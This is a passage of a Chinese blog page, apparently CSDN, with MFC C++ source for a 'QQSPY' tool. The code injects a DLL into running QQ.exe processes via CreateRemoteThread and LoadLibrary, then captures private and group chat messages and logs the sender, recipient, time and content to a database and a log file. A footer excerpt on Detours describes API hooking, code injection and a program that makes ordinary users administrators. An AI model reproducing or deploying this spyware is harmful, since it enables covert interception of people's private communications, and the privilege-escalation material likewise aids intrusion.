  hProcessSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
  if (hProcessSnap == INVALID_HANDLE_VALUE)
  {
    return 0;
  }
  pe32.dwSize = sizeof(PROCESSENTRY32);
  if(!Process32First(hProcessSnap, &pe32))
  {
    CloseHandle(hProcessSnap);
    return 0;
  }
  do
  {
    //找到QQ进程
    if (strcmp(pszProcessName, pe32.szExeFile) == 0)
    {
      dwProcessID = pe32.th32ProcessID;
      //wprintf(TEXT(">>> ------ PID = %d ------\n"), dwProcessID);
      //开始内存搜索
      CString  s1;
      s1.Format("%d",dwProcessID);


      int ss=m_list.GetCount();
      int tt=0;
      for (int i=0;i<ss;i++)
      {
               
        CString  s2;
        m_list.GetText(i,s2);
        if (s1==s2)
        {
           tt=1;
                   break;
        }
      

      }
            if (tt==0)
            {
             m_list.AddString(s1);

       TCHAR  Folder[MAX_PATH];
       ::GetCurrentDirectory(MAX_PATH,Folder);
       strcat(   Folder,   _T("\\QQMon.dll")   ); 

       

            LPCTSTR s2=_T("F:\\QQ\\QQMon\\Release");

       USES_CONVERSION; 
       BOOL bInject=Inject(Folder,pe32.th32ProcessID);
       if (bInject)
       {
         AfxMessageBox(_T("注入成功!"));
       }
       else
       {AfxMessageBox(_T("注入失败"));
       }


            }


      

    }
  }
  //继续找下一个进程
  while(Process32Next(hProcessSnap, &pe32));
  CloseHandle(hProcessSnap);
  //如果存在QQ进程,此处return的是最后一个QQ进程的ID,
  //如果不在QQ进程,此处return的是dwProcessID的初始值0
  return dwProcessID;
}

BOOL CQQSPYDlg::OnCopyData(CWnd* pWnd, COPYDATASTRUCT* pCopyDataStruct)
{
  // TODO: 在此添加消息处理程序代码和/或调用默认值
  CString  m_strCopyData;
  m_strCopyData=(LPSTR)pCopyDataStruct->lpData; 
  m_strCopyData=m_strCopyData.Left(pCopyDataStruct->cbData);
  insertmsg(m_strCopyData);

  CString  ml;
  m_edit.GetWindowText(ml);
  m_edit.SetWindowText(ml+m_strCopyData+"\r\n");

  return CDialog::OnCopyData(pWnd, pCopyDataStruct);
}

void CQQSPYDlg::OnLbnSelchangeList1()
{


  // TODO: 在此添加控件通知处理程序代码
}

void CQQSPYDlg::OnBnClickedButton1()
{


  TCHAR pszP[] = TEXT("QQ.exe");
  DWORD dwPID = FindByPID(pszP);

  // TODO: 在此添加控件通知处理程序代码
}



BOOL  CQQSPYDlg::Inject(LPCTSTR szModule, DWORD dwID)
{
  HANDLE hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD | PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, dwID);//打开进程
  if ( !hProcess ) {
    AfxMessageBox(_T("打开进程失败"));
    return FALSE;
  }
  int cByte  = (_tcslen(szModule)+1) * sizeof(TCHAR);
  LPVOID pAddr = VirtualAllocEx(hProcess, NULL, cByte, MEM_COMMIT, PAGE_READWRITE);//申请内存
  if ( !pAddr || !WriteProcessMemory(hProcess, pAddr, szModule, cByte, NULL))//写入dll地址
  {
    AfxMessageBox(_T("申请内存失败"));
    return FALSE;
  }
#ifdef _UNICODE  
  PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryW");
#else
  PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(_T("Kernel32")), "LoadLibraryA");
#endif//宽A和U定义 
  if ( !pfnStartAddr ) {
    return FALSE;
  }
  DWORD dwThreadID = 0;
  HANDLE hRemoteThread = CreateRemoteThread(hProcess, NULL, 0, pfnStartAddr, pAddr, 0, &dwThreadID);
  if ( !hRemoteThread ) {

    return FALSE;
  }
  CloseHandle(hRemoteThread);  
  CloseHandle(hProcess);
  return(TRUE);

}
void CQQSPYDlg::OnTimer(UINT_PTR nIDEvent)
{
  // TODO: 在此添加消息处理程序代码和/或调用默认值

  switch (nIDEvent)
  {
  case 1:  
    ///处理ID为1的定时器... 
        OnBnClickedButton1();

      // KillTimer(1);
    break;
  case 2: 
    ///处理ID为2的定时器...
    break;
  }

  CDialog::OnTimer(nIDEvent);
}

void CQQSPYDlg::OnBnClickedButton3()
{
      
  

  
  // TODO: 在此添加控件通知处理程序代码
}
void CQQSPYDlg::insertmsg (CString ss)
{


     CString  m_strCopyData;
   m_strCopyData=ss;

   CString q1="默认消息";
   CString q2="默认消息";
   CString q3="默认消息";
   CString q4="默认消息";
   CString q5="默认消息";
   CString q6="默认消息";
   if ( m_strCopyData.Left(6)=="[讨聊]")
   {
          q2="讨聊";
      CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7);
      int s2=s1.FindOneOf("]");
      q1=s1.Mid(0,s2);
          
      CString s3 =s1.Right(s1.GetLength()-s2-2);
      int s4 =s3.FindOneOf("]");
      q3=s3.Mid(0,s4);
      

      
         
          
    


      CString s7=s3.Right(s1.GetLength()-s4);
      int   s8 =s7.FindOneOf(")");
      int   s9 =s7.FindOneOf(":");
      q4=s7.Mid(s8+2,s9-s8-6);
    

      
    
      int s5=s1.FindOneOf(":");
      q5=s1.Mid(s5-2,8);
      q6=s1.Right(s1.GetLength()-s5-6);







   }
   if ( m_strCopyData.Left(6)=="[群聊]")
   {
            q2="群聊";
      CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7);
      int s2=s1.FindOneOf("]");
      q1=s1.Mid(0,s2);
      int s3 =s1.FindOneOf("(");
      int s4 =s1.FindOneOf(")");
      q3=s1.Mid(s3+1,s4-s3-1);

      int s5=s1.FindOneOf("[");
      int s6=s1.Find("]",s5);
      q4=s1.Mid(s5+1,s6-s5-1);
      
      int s7=s1.FindOneOf(":");
      q5=s1.Mid(s7-2,8);
      q6=s1.Right(s1.GetLength()-s7-6);
    
    
   }
   if ( m_strCopyData.Left(6)=="[个聊]")
   {
             q2="个聊";
       CString s1=m_strCopyData.Right(m_strCopyData.GetLength()-7);
       int s2=s1.FindOneOf("]");
             q1=s1.Mid(0,s2);
             int s3= m_strCopyData.FindOneOf("(");
       int s4= m_strCopyData.FindOneOf("to");
             q3=m_strCopyData.Mid(s3+1,s4-s3-2);
       CString s5 =m_strCopyData.Right(m_strCopyData.GetLength()-s4-3);
       int s6 =s5.FindOneOf(")");
       q4 =s5.Mid(0,s6);
       int s7 =s5.FindOneOf(":");
             q5 =s5.Mid(s7-2,8);
       q6=s5.Right(s5.GetLength()-s7-6);
  

         
   }
    

     









  
  ADOConn m_AdoConn;
  m_AdoConn.OnInitADOConn();
  _bstr_t sql;
  sql = "select*from QQ";
  _RecordsetPtr m_pRecordset;
  m_pRecordset=m_AdoConn.GetRecordSet(sql);

  try
  {
    m_pRecordset->AddNew();//添加新行
    m_pRecordset->PutCollect("本地QQ",(_bstr_t)q1);
    m_pRecordset->PutCollect("聊天类型",(_bstr_t)q2);
    m_pRecordset->PutCollect("发送方",(_bstr_t)q3);
    m_pRecordset->PutCollect("接收方",(_bstr_t)q4);
    m_pRecordset->PutCollect("时间",(_bstr_t)q5);
    m_pRecordset->PutCollect("聊天内容",(_bstr_t)q6);

    m_pRecordset->Update();
    m_AdoConn.ExitConnect();
  }
  catch(...)
  {
    MessageBox("操作失败");
    return;
  }
  




  CString EditPrintf;
  EditPrintf =m_strCopyData+"\r\n";
  int nLength =EditPrintf.GetLength();
  CString fileName;  
  fileName="QQ.log";
  CStdioFile file;   
  file.Open(fileName,CFile::modeCreate |CFile::modeNoTruncate| CFile::modeWrite); 
  file.SeekToEnd();
  file.Write( EditPrintf,nLength);  
  file.Close(); 


}


  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Detours微软开发的一个函数库, 用于修改运行中的程序在内存中的影像,从而即使没有源代码也能改变程序的行为。具体用途是: 拦截WIN32 API调用,将其引导到自己的子程序,从而实现WIN32 API的定制。 为一个已在运行的进程创建一新线程,装入自己的代码并运行。 ---- 本文将简介Detours的原理,Detours库函数的用法, 并利用Detours库函数在Windows NT上编写了一个程序,该程序能使有“调试程序”的用户权限的用户成为系统管理员,附录利用Detours库函数修改该程序使普通用户即可成为系统管理员 (在NT4 SP3上)。 一. Detours的原理 ---- 1. WIN32进程的内存管理 ---- 总所周知,WINDOWS NT实现了虚拟存储器,每一WIN32进程拥有4GB的虚存空间, 关于WIN32进程的虚存结构及其操作的具体细节请参阅WIN32 API手册, 以下仅指出与Detours相关的几点: ---- (1) 进程要执行的指令也放在虚存空间中 ---- (2) 可以使用QueryProtectEx函数把存放指令的页面的权限更改为可读可写可执行,再改写其内容,从而修改正在运行的程序 ---- (3) 可以使用VirtualAllocEx从一个进程为另一正运行的进程分配虚存,再使用 QueryProtectEx函数把页面的权限更改为可读可写可执行,并把要执行的指令以二进制机器码的形式写入,从而为一个正在运行的进程注入任意的代码 ---- 2. 拦截WIN32 API的原理 ---- Detours定义了三个概念: ---- (1) Target函数:要拦截的函数,通常为Windows的API。 ---- (2) Trampoline函数:Target函数的复制品。因为Detours将会改写Target函数,所以先把Target函数复制保存好,一方面仍然保存Target函数的过程调用语义,另一方面便于以后的恢复。 ---- (3) Detour 函数:用来替代Target函数的函数。 ---- Detours在Target函数的开头加入JMP Address_of_ Detour_ Function指令(共5个字节)把对Target函数的调用引导到自己的Detour函数, 把Target函数的开头的5个字节加上JMP Address_of_ Target _ Function+5作为Trampoline函数。例子如下: 拦截前:Target _ Function: ;Target函数入口,以下为假想的常见的子程序入口代码 push ebp mov ebp, esp push eax push ebx Trampoline: ;以下是Target函数的继续部分 …… 拦截后: Target _ Function: jmp Detour_Function Trampoline: ;以下是Target函数的继续部分 …… Trampoline_Function: ; Trampoline函数入口, 开头的5个字节与Target函数相同 push ebp mov ebp, esp push eax push ebx ;跳回去继续执行Target函数 jmp Target_Function+5 ---- 3. 为一个已在运行的进程装入一个DLL ---- 以下是其步骤: ---- (1) 创建一个ThreadFuction,内容仅是调用LoadLibrary。 ---- (2) 用VirtualAllocEx为一个已在运行的进程分配一片虚存,并把权限更改为可读可写可执行。 ---- (3) 把ThreadFuction的二进制机器码写入这片虚存。 ---- (4) 用CreateRemoteThread在该进程上创建一个线程,传入前面分配的虚存的起始地址作为线程函数的地址,即可为一个已在运行的进程装入一个DLL。通过DllMain 即可在一个已在运行的进程中运行自己的代码。 二. Detours库函数的用法 ---- 因为Detours软件包并没有附带帮助文件,以下接口仅从剖析源代码得出。 ---- 1. PBYTE WINAPI DetourFindFunction(PCHAR pszModule, PCHAR pszFunction) ---- 功能:从一DLL中找出一函数的入口地址 ---- 参数:pszModule是DLL名,pszFunction是函数名。 ---- 返回:名为pszModule的DLL的名为pszFunction的函数的入口地址 ---- 说明:DetourFindFunctio
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值